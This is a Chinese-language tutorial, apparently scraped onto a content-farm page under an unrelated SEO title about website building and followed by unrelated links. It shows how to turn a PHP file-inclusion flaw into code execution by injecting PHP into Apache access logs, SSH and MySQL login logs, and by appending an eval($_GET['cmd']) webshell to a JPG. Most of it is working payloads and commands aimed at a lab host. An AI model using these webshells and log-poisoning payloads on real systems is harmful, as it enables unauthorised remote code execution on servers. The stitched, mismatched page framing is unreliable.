当前位置: 首页 > news >正文

dw做网站怎么上线合肥网站推广公司排名

dw做网站怎么上线,合肥网站推广公司排名,成立公司注册资金一定都要到位吗,安阳 网站建设日志利用, 图片木马利用 一, 利用服务器日志 通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段. apache log: /opt/lampp/logs/access_log nginx log: /usr/local/nginx/logs/access.log 首先可以利用文件包含漏洞测试日志文件的内容是否可以显…

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.
实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.
那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_logpost data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

ssh root@192.168.112.200

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

/opt/lampp/logs/mysql.log

正常登录:

mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:
mm.php文件:

<?php @eval($_GET['cmd']); ?>

命令:

copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
http://www.yayakq.cn/news/495339/

相关文章:

  • 房产律师网站模板门户网站开发需求文档
  • 深圳市宝安区住房和建设局网站1685.top贵阳网站建设
  • 一般网站维护要多久东莞网站建设qq群
  • 网站的商桥怎么做合肥公司制作网站的
  • 兰州网站优化seo网站定制报价
  • 网站群 米拓wordpress使用共享存储
  • 城市网站改版建设互联网三网合一网站建设
  • 那些企业需要做网站简述网站制作流程
  • 福田网站建设的工具建网站做联盟
  • 便捷网站建设报价建站程序员招聘
  • 移动端网站如何做开放式配吉林省建设工程监理检测网站
  • 北京网站建设兼职进入山东省住房和城乡建设厅网站
  • 郓城网站建设费用枝江市住房和城乡建设局网站
  • 企业门户网站源码天津设计公司招聘
  • 重庆网站建设中心wordpress域名资源地址
  • 广告网站建设案例如皋网站定制
  • h5网站建设的具体内容网站产品怎么改顺序
  • 网页制作与网站建设课程设计最大的网站模板网
  • 安徽省建设工程信网站做网站职业咋样
  • 个人网站开发 服务器廊坊视频优化价格
  • 朱腾鹏个人网站wordpress自定义选项
  • 有网站可以接设计的单子做吗ajax分页 WordPress
  • 白山网站建设现在什么网页游戏最好玩最火
  • 网站开发用什么框架卧龙区网站建设
  • 网站建设开票多少个点东城免费做网站
  • 先做网站后备案吗官网seo是什么
  • 做pc端网站渠道网站建设目标计划书
  • 柯桥网站建设wordpress 发音
  • 医院网站建设建议云凡济南网站建设开发
  • 淄博手机网站开发公司网站制作收费标准